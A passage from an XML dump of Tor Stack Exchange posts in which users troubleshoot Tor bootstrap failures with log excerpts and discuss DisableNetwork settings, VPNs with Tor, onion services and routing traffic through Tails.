path. Discarding this circuit.&#xA;7/25/2018 21:05:32 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:05:32 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:06:01 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:06:03 PM.500 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:06:03 PM.500 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:06:03 PM.500 [NOTICE] Bootstrapped 85%: Finishing handshake with first hop&#xA;7/25/2018 21:06:03 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:06:03 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:06:04 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:06:04 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:06:05 PM.200 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:06:05 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:06:05 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:06:06 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:06:06 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:06:07 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22640" LastEditorUserId="112" LastEditDate="2018-08-03T17:56:15.923" LastActivityDate="2021-12-16T06:01:00.073" Title="Can´t start Tor" Tags="|windows|error|tor-install|support|log|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17469" PostTypeId="2" ParentId="17468" CreationDate="2018-07-25T22:17:23.500" Score="0" Body="&lt;p&gt;I'm no expert, but it seems like these lines at the start may be your problem.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To me, this sounds like it's blocking Tor's attempts to find the next hop. Someone correct me if that is a wrong assessment.&lt;/p&gt;&#xA;" OwnerUserId="22577" LastActivityDate="2018-07-25T22:17:23.500" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17470" PostTypeId="2" ParentId="17334" CreationDate="2018-07-26T00:03:02.443" Score="1" Body="&lt;p&gt;On top of what &lt;a href=&quot;https://tor.stackexchange.com/users/22391/darren-felton&quot;&gt;@Darren Felton&lt;/a&gt; shared, .onion addresses also help fight man in the middle attacks. For clear-web sites, hackers can pretend to be you and the site by sitting in the middle and passing all the information back and forth after reading it, but because .onion addresses are their own hashed fingerprint, it is impossible to MitM attack them and as such you know you are talking directly to the host server of that .onion address. There are still other ways to watch the communication, of course, but you at least know you're talking to who you think you are.&lt;/p&gt;&#xA;" OwnerUserId="22577" LastActivityDate="2018-07-26T00:03:02.443" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17471" PostTypeId="1" CreationDate="2018-07-26T10:59:50.977" Score="0" ViewCount="1206" Body="&lt;p&gt;Can I setup a server on the tor network but connect to it via an application of mine via clearnet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is there some way to setup my application to connect to the tor network and then to my server without downloading any software?&lt;/p&gt;&#xA;" OwnerUserId="22646" LastActivityDate="2022-02-10T00:08:10.907" Title="Connecting to a tor server through clearnet" Tags="|help|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17472" PostTypeId="1" CreationDate="2018-07-26T11:13:15.190" Score="0" ViewCount="364" Body="&lt;p&gt;I'm using Ubuntu with tor browser and would like to direct all traffic through tor, most specifically redirecting ALL traffic from terminal through tor?&lt;/p&gt;&#xA;" OwnerUserId="15358" LastActivityDate="2018-07-27T05:28:50.257" Title="How can one direct traffic through tor when using terminal in Ubuntu" Tags="|linux|ubuntu|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17473" PostTypeId="1" AcceptedAnswerId="17477" CreationDate="2018-07-26T13:59:30.567" Score="1" ViewCount="139" Body="&lt;p&gt;So I am building a p2p network, it will be almost entirely comprised of nodes running on mobile phones and so therefore they will not have public IP addresses and will not be able to accept incoming connections. This poses a problem for p2p networking, as nodes need to be able to receive requests from one another. I am interested in whether it is possible to make each node an tor hidden service and have it connect to the Tor network without needing to accept incoming connections and simple &quot;pull&quot; data from other Tor nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="22648" LastActivityDate="2018-07-27T05:19:13.007" Title="Host hidden service without accepting incoming connections?" Tags="|onion-services|network-configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17477" PostTypeId="2" ParentId="17473" CreationDate="2018-07-27T05:19:13.007" Score="1" Body="&lt;p&gt;Yes it would work. You do not need public IP and ability to accept incoming connections to run hidden service.&lt;/p&gt;&#xA;" OwnerUserId="22654" LastActivityDate="2018-07-27T05:19:13.007" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="17478" PostTypeId="2" ParentId="17472" CreationDate="2018-07-27T05:28:50.257" Score="1" Body="&lt;p&gt;You can take a look at tails distribution. It is Debian based and it is doing exactly that you want. If you want to redirect all network traffic through tor OpnSense is doing that after you enable and setup tor plugin.&lt;/p&gt;&#xA;" OwnerUserId="22654" LastActivityDate="2018-07-27T05:28:50.257" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17479" PostTypeId="2" ParentId="17471" CreationDate="2018-07-27T05:34:51.960" Score="0" Body="&lt;p&gt;You can use netcat from nmap package to listen on port and forward it via socks 5 tor proxy to your onion service. Put netcat on clear net. This will make reachable your onion service for people without any add on software installed.&lt;/p&gt;&#xA;" OwnerUserId="22654" LastActivityDate="2018-07-27T05:34:51.960" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17480" PostTypeId="2" ParentId="17449" CreationDate="2018-07-27T05:39:28.330" Score="1" Body="&lt;p&gt;I do not ever pay for access tor site. They are mostly scams. Because they have anonymity it's easy to promise everything and deliver nothing.&lt;/p&gt;&#xA;" OwnerUserId="22654" LastActivityDate="2018-07-27T05:39:28.330" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17481" PostTypeId="2" ParentId="17461" CreationDate="2018-07-27T09:01:57.103" Score="0" Body="&lt;p&gt;It's possible. Take a look at opnsense or tails. They have ability to transparently route all traffic through tor.&lt;/p&gt;&#xA;" OwnerUserId="22654" LastActivityDate="2018-07-27T09:01:57.103" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17486" PostTypeId="1" CreationDate="2018-07-27T20:50:57.923" Score="0" ViewCount="41" Body="&lt;p&gt;I'm sure there is a bettter place to put in suggestions for future releases of TAILS but I haven't found out where to do so. Forgive the ignorance on my part. I would like to make 2 suggestions;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Add to the standard set of applications and GUI application for creating bootable USB drives similar in function to Unetbootin. You already have a CD burn utility, but newer laptops are being produced without CD drives now, and as we all know, the utility of live linux distributions is invaluable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Although it does reduce the anonymity of TAILS, there are some applications in which the use of persistent storage is vital. In these cases, function may very well take precedence over anonymity while the security of TAILS is still of utmost importance and can't be compromised. In this case, being able to make TAILS customizable in it's persistence, that is, &lt;em&gt;all&lt;/em&gt; changes to the desktop, programs and directories are persistent, should be an option albeit one that carries appropriate warnings as persistence currently does. I changed the desktop to the one that has the Debian background, and added a toolbar to the browser and music to the music folder to discover that even with persistence those things did not get saved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Job well done to the team! Thank you so much for such a wonderful suite of tools for the community to use to make the use of the internet so much more safe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards, Harold &lt;/p&gt;&#xA;" OwnerUserId="22662" LastActivityDate="2018-07-27T21:12:36.273" Title="Suggestion for New versions of TAILS" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17487" PostTypeId="2" ParentId="17486" CreationDate="2018-07-27T21:12:36.273" Score="1" Body="&lt;p&gt;According to the &lt;a href=&quot;https://tails.boum.org/support/index.en.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tails Support Page&lt;/a&gt;, you can search existing feature requests and add new ones &lt;a href=&quot;https://labs.riseup.net/code/projects/tails/issues?query_id=108&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="22577" LastActivityDate="2018-07-27T21:12:36.273" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17489" PostTypeId="2" ParentId="17311" CreationDate="2018-07-28T04:50:37.723" Score="2" Body="&lt;p&gt;May I suggest that you try the onion address for DuckDuckgo?  :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://3g2upl4pq6kufc4m.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://3g2upl4pq6kufc4m.onion/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's what I use and find it well, cleaner in the way it presents itself. Also, and I don't know if it will make a significant difference on your end, my input is that perhaps you may not want to use NordVpn, or any VPN in the onion network. If for no other reason, it may be slowing down packet handling across the network due to &quot;double encryption&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can always enable your VPN (which you definetely need in windows) once you are done with using the Tor network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just a couple of thoughts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers, Harold C.&lt;/p&gt;&#xA;" OwnerUserId="22662" LastActivityDate="2018-07-28T04:50:37.723" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17492" PostTypeId="1" CreationDate="2018-07-28T08:30:06.457" Score="0" ViewCount="58" Body="&lt;p&gt;it isn't illigal in my country and i have checked time and date, windows defender and firewall is turned off.Using this on pc connected to office wifi. tor log is posted below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;7/29/2018 2:00:43 AM.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;7/29/2018 2:00:43 AM.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;7/29/2018 2:00:43 AM.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;7/29/2018 2:00:43 AM.200 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;7/29/2018 2:00:43 AM.800 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;7/29/2018 2:00:44 AM.100 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;7/29/2018 2:00:55 AM.700 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 10; recommendation warn; host CE47F0356D86CF0A1A2008D97623216D560FB0A8 at 85.25.213.211:80) &#xA;7/29/2018 2:00:55 AM.700 [WARN] 10 connections have failed: &#xA;7/29/2018 2:00:55 AM.700 [WARN]  9 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;7/29/2018 2:00:55 AM.700 [WARN]  1 connections died in state connect()ing with SSL state (No SSL object) &#xA;7/29/2018 2:00:55 AM.700 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;7/29/2018 2:00:55 AM.700 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;7/29/2018 2:00:55 AM.700 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;7/29/2018 2:00:55 AM.900 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22666" LastActivityDate="2018-07-31T21:41:59.627" Title="Establishing an encripted directory connection failed(done - 85.25.213.211:80)" Tags="|tor-browser-bundle|configuration|torsocks|directory|tor-install|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17493" PostTypeId="1" CreationDate="2018-07-28T08:52:53.150" Score="0" ViewCount="88" Body="&lt;p&gt;I use Tor when I need to use a pseudonymous account on a forum. A observer can see when I connect to Tor and correlate with activity of the account from the forum &#xA;How I can protect against this ? &lt;/p&gt;&#xA;" OwnerUserId="22668" LastActivityDate="2018-07-28T08:57:07.097" Title="Protect against pseudonymous identity activity on a forum and traffic correlation?" Tags="|anonymity|deanonymization|attacks|information-leaks|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17494" PostTypeId="2" ParentId="17493" CreationDate="2018-07-28T08:57:07.097" Score="1" Body="&lt;p&gt;Assuming the observer is watching all the traffic from your computer and also that specific server, I think your best bet to help mask your activity is to make sure you use Tor for more than just visiting that server. Even then, if they are watching both your traffic and the server's, I don't think there is a way to totally prevent correlation discovery.&lt;/p&gt;&#xA;" OwnerUserId="22577" LastActivityDate="2018-07-28T08:57:07.097" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17497" PostTypeId="2" ParentId="17060" CreationDate="2018-07-28T21:19:27.797" Score="2" Body="&lt;p&gt;Instagram knows you are using Tor because it recognises the exit node your traffic is coming out of. Using a VPN can only be trusted as far as you trust the VPN provider. Initially, you can try requesting a new circuit from Tor, if Instagrams database of exit nodes is not complete you might find one that it doesn't recognise. Otherwise, you could use a public computer such as a library to sign up for your account and then access it later using Tor.&lt;/p&gt;&#xA;" OwnerUserId="22577" LastActivityDate="2018-07-28T21:19:27.797" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17498" PostTypeId="1" CreationDate="2018-07-29T02:36:50.007" Score="0" ViewCount="106" Body="&lt;p&gt;I have been combing the forums for hours  to get a clear answer to a very specific question I have and I can’t find it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I am connected to an encrypted VPN like NordVPN and I use Tor Browser, can my VPN to see the traffic that I’m sending to Tor or is it a second encrypted Tunnel within that my VPN couldn’t break? Is the data being sent to the VPN completely vulnerable before it hits Tor or is there a protection level because of Tor that makes it inaccessible to my VPN.&lt;/p&gt;&#xA;" OwnerUserId="22674" LastActivityDate="2018-10-27T20:23:07.037" Title="Very Specific Non-Duplicate VPN+Tor Question" Tags="|vpn|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17499" PostTypeId="2" ParentId="14346" CreationDate="2018-07-29T03:51:37.927" Score="2" Body="&lt;p&gt;Here's the Linux way to do it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a terminal, use &quot;sudo service tor stop.&quot; If that doesn't work, try going to System Monitor and ending the process from there. If THAT doesn't work, go to your terminal and type in &quot;sudo killall tor&quot;. That should make Tor go away.&lt;/p&gt;&#xA;" OwnerUserId="22659" LastActivityDate="2018-07-29T03:51:37.927" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17500" PostTypeId="2" ParentId="17498" CreationDate="2018-07-29T03:56:12.200" Score="1" Body="&lt;p&gt;Tor has its own encryption so your VPN provider can only know that you are using Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, literally, this question is still a duplicate.&lt;/p&gt;&#xA;" OwnerUserId="4894" LastActivityDate="2018-07-29T03:56:12.200" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17502" PostTypeId="2" ParentId="17498" CreationDate="2018-07-29T06:28:03.823" Score="0" Body="&lt;p&gt;As per Google Translate from &lt;a href=&quot;https://tor.stackexchange.com/users/22675/mike-cruz&quot;&gt;Mike cruz&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;My question is that in an Android mobile it gives me the option of vpn for the applications and in another also Android does not give me that option and if I activate the vpn the signal falls and I am left without imternet. I mention that the two phones are Samsung in which I have the problem is an A5 model while in which it works perfectly is a J1 hopefully someone can support me with some response greetings thanks&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you are on an android then you are using Orfox, which insists on connecting through Orbot VPN which makes use of the built-in VPN service.&lt;/p&gt;&#xA;" OwnerUserId="22577" LastActivityDate="2018-07-29T06:28:03.823" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17503" PostTypeId="2" ParentId="17449" CreationDate="2018-07-29T07:52:18.773" Score="1" Body="&lt;p&gt;Tor search engines are spammed with various fraud sites. They have to get traffic from somewhere and search engine delivers it. To get addresses of more serious servers I recommend to check some curated directory or ask on deep web forums.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless you get confirmation from more sources, do not ever send money in the front.&lt;/p&gt;&#xA;" OwnerUserId="22654" LastActivityDate="2018-07-29T07:52:18.773" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17505" PostTypeId="2" ParentId="16201" CreationDate="2018-07-29T21:17:56.043" Score="0" Body="&lt;p&gt;If you visit a website through Tor, they don't know who you are unless you log in or otherwise reveal personal information (for instance saying your name or email in chat) &lt;/p&gt;&#xA;" OwnerUserId="22577" LastActivityDate="2018-07-29T21:17:56.043" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17506" PostTypeId="1" AcceptedAnswerId="17704" CreationDate="2018-07-30T08:11:00.893" Score="1" ViewCount="2985" Body="&lt;p&gt;I am using Tor browser 7.5.6 (latest, 32 bits) on windows 10. I like to use Whatsapp on web. So I go to : &#xA;&lt;a href=&quot;https://web.whatsapp.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://web.whatsapp.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site shows a QR code which I scan with my phone. And boom! I can access Whatsapp on my desktop via tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the problem is, for past 2 days, the QR code flashes for a while and then replaced by a timeout image. I googled and found one possible solution. That is disabling hardware acceleration. But I have intel-integrated-graphics, for which that option is not available. :-(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, my Firefox 61.0.1 (64 bits) works absolutely fine with Whatsapp-web.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone please throw more light on the situation ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Gamma&lt;/p&gt;&#xA;" OwnerUserId="14511" LastActivityDate="2019-08-27T15:59:43.207" Title="Whatsapp Web QR Code flashes and vanishes" Tags="|help|browsers|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17509" PostTypeId="1" AcceptedAnswerId="17532" CreationDate="2018-07-31T03:19:56.727" Score="1" ViewCount="539" Body="&lt;p&gt;You may have seen my other question related to piping a Perl script designed to connect to a webpage through Tor. I've decided that this was too much of a hassle and I now need a short tutorial on how to build a proxy in a Perl script that will allow me to connect to hidden services and  (later) download files from the server. &lt;/p&gt;&#xA;" OwnerUserId="22659" LastActivityDate="2018-08-06T12:23:46.507" Title="How do I write a sockproxy in Perl?" Tags="|proxy|torsocks|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17510" PostTypeId="2" ParentId="17509" CreationDate="2018-07-31T12:43:39.120" Score="0" Body="&lt;p&gt;You need &lt;em&gt;IO::Socket::Socks&lt;/em&gt; module. It can be used as SOCKS5 client, point it to running tor as socks server. Usually runs on ports 9050 or 9150.&lt;/p&gt;&#xA;" OwnerUserId="22654" LastActivityDate="2018-07-31T12:43:39.120" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="17512" PostTypeId="1" CreationDate="2018-07-31T21:33:15.820" Score="0" ViewCount="227" Body="&lt;p&gt;Today my tor relay started reporting the HSDir flag out of nowhere. I do not have a hidden service configured. Is this something i should worry about? Everything looks fine, and i see no services runing that shouldnt be. As far as i can tell tor hasnt created any hs certs or hostname file. Is this just some sort of glitch?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://metrics.torproject.org/rs.html#details/D43AD758ABFB247CF326AC19D709C959E066CEFB&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://metrics.torproject.org/rs.html#details/D43AD758ABFB247CF326AC19D709C959E066CEFB&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="21788" LastEditorUserId="21788" LastEditDate="2018-07-31T22:00:03.867" LastActivityDate="2022-01-13T07:07:05.660" Title="Tor relay giving false HSDir flag" Tags="|onion-services|relays|torproject.org|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17513" PostTypeId="2" ParentId="17492" CreationDate="2018-07-31T21:41:59.627" Score="1" Body="&lt;p&gt;Remove, comment out or set to 0 the DisableNetwork line in your torrc config file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DisableNetwork 0|1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When this option is set, we don’t listen for or accept any connections other than controller connections, and we close (and don’t reattempt) any outbound connections. Controllers sometimes use this option to avoid using the network until Tor is fully configured. (Default: 0)&lt;/p&gt;&#xA;" OwnerUserId="21788" LastActivityDate="2018-07-31T21:41:59.627" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17514" PostTypeId="2" ParentId="17512" CreationDate="2018-07-31T22:02:52.727" Score="0" Body="&lt;p&gt;Ok now ot dissapeared. Not sure what the issue was or still is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having the HSDir flag has nothing to do with whet...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.reddit.com/r/TOR/comments/93isp3/tor_relay_giving_false_hsdir_flag/e3dlgso?utm_source=reddit-android&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.reddit.com/r/TOR/comments/93isp3/tor_relay_giving_false_hsdir_flag/e3dlgso?utm_source=reddit-android&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="21788" LastEditorUserId="21788" LastEditDate="2018-07-31T22:19:59.040" LastActivityDate="2018-07-31T22:19:59.040" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17515" PostTypeId="2" ParentId="14336" CreationDate="2018-08-01T03:35:23.877" Score="1" Body="&lt;p&gt;From your Terminal, run: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;service tor stop&#xA;service tor start&#xA;service tor status&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you should see an output along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; tor.service - Anonymizing overlay network for TCP&#xA; (multi-instance-master)    Loaded: loaded&#xA; (/lib/systemd/system/tor.service; disabled; vendor preset:        &#xA; disabled)    &#xA; Active: active (exited) since Wed 2018-08-01 00:44:46&#xA; UTC; 2h 43min ago   Process: 3603 ExecStart=/bin/true (code=exited,&#xA; status=0/SUCCESS)  Main PID: 3603 (code=exited, status=0/SUCCESS)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if there's any errors in this output, you should be able to troubleshoot the service in a bit more detail, if it &lt;em&gt;is&lt;/em&gt; an issue with the service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also why not take a look at the following repository TorStat, here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://github.com/rootlabs/TorStat&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Tor stat essentially allows you to overlay your Tor connection with proxychains, and will give you an output directly showing which of your ports are connected to the service.&lt;/p&gt;&#xA;" OwnerDisplayName="user22693" LastActivityDate="2018-08-01T03:35:23.877" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17518" PostTypeId="1" CreationDate="2018-08-01T22:53:35.543" Score="3" ViewCount="253" Body="&lt;p&gt;I started using &lt;a href=&quot;https://github.com/sshuttle/sshuttle&quot; rel=&quot;nofollow noreferrer&quot;&gt;sshuttle&lt;/a&gt; as &quot;poor man's VPN over SSH&quot; to forward all the outgoing tcp traffic / dns query to a private server.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;sshuttle allows you to create a VPN connection from your machine to&#xA;  any remote server that you can connect to via ssh, as long as that&#xA;  server has python 2.3 or higher. To work, you must have root access on&#xA;  the local machine, but you can have a normal account on the server.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I wonder if browsing the web using Tor Browser Bundle + sshuttle can screw up anonymity or have negative side effects. Any idea?&lt;/p&gt;&#xA;" OwnerUserId="22697" LastActivityDate="2018-08-19T00:38:31.797" Title="tor browser bundle + sshuttle safe together?" Tags="|tor-browser-bundle|vpn|transparent-proxy|ssh|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17522" PostTypeId="1" CreationDate="2018-08-02T14:25:26.383" Score="0" ViewCount="123" Body="&lt;p&gt;I am unable to check the box to use current action for all files of that type. It defaults to using a program and I want a download. I must choose it every time since the check box is grayed out.&lt;/p&gt;&#xA;" OwnerUserId="22702" LastActivityDate="2021-12-18T10:03:45.340" Title="Set defaut download action grayed out" Tags="|firefox|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17529" PostTypeId="1" CreationDate="2018-08-05T13:45:36.800" Score="0" ViewCount="926" Body="&lt;p&gt;The log is here.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;8/5/2018 20:57:57 PM.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;8/5/2018 20:58:07 PM.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;8/5/2018 20:58:07 PM.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;8/5/2018 20:58:07 PM.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;8/5/2018 20:58:07 PM.000 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;8/5/2018 20:58:07 PM.200 [NOTICE] Bootstrapped 80%: Connecting to the Tor network &#xA;8/5/2018 20:58:07 PM.700 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 20:58:08 PM.300 [WARN] The connection to the HTTP proxy server at 192.168.1.9:80 just failed. Make sure that the proxy server is up and running. &#xA;8/5/2018 20:58:08 PM.700 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 20:58:09 PM.700 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 20:58:10 PM.700 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 20:58:11 PM.700 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 20:58:12 PM.700 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 20:58:13 PM.700 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 20:58:14 PM.700 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 20:58:15 PM.700 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 20:58:16 PM.700 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 20:58:42 PM.700 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 20:58:43 PM.700 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 20:58:44 PM.700 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 20:58:45 PM.700 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 20:58:46 PM.700 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 20:58:47 PM.700 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 20:58:55 PM.600 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;8/5/2018 20:58:55 PM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;8/5/2018 20:58:55 PM.600 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;8/5/2018 20:58:55 PM.600 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;8/5/2018 21:02:10 PM.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;8/5/2018 21:02:10 PM.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;8/5/2018 21:02:10 PM.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;8/5/2018 21:02:10 PM.300 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;8/5/2018 21:02:10 PM.700 [WARN] Failed 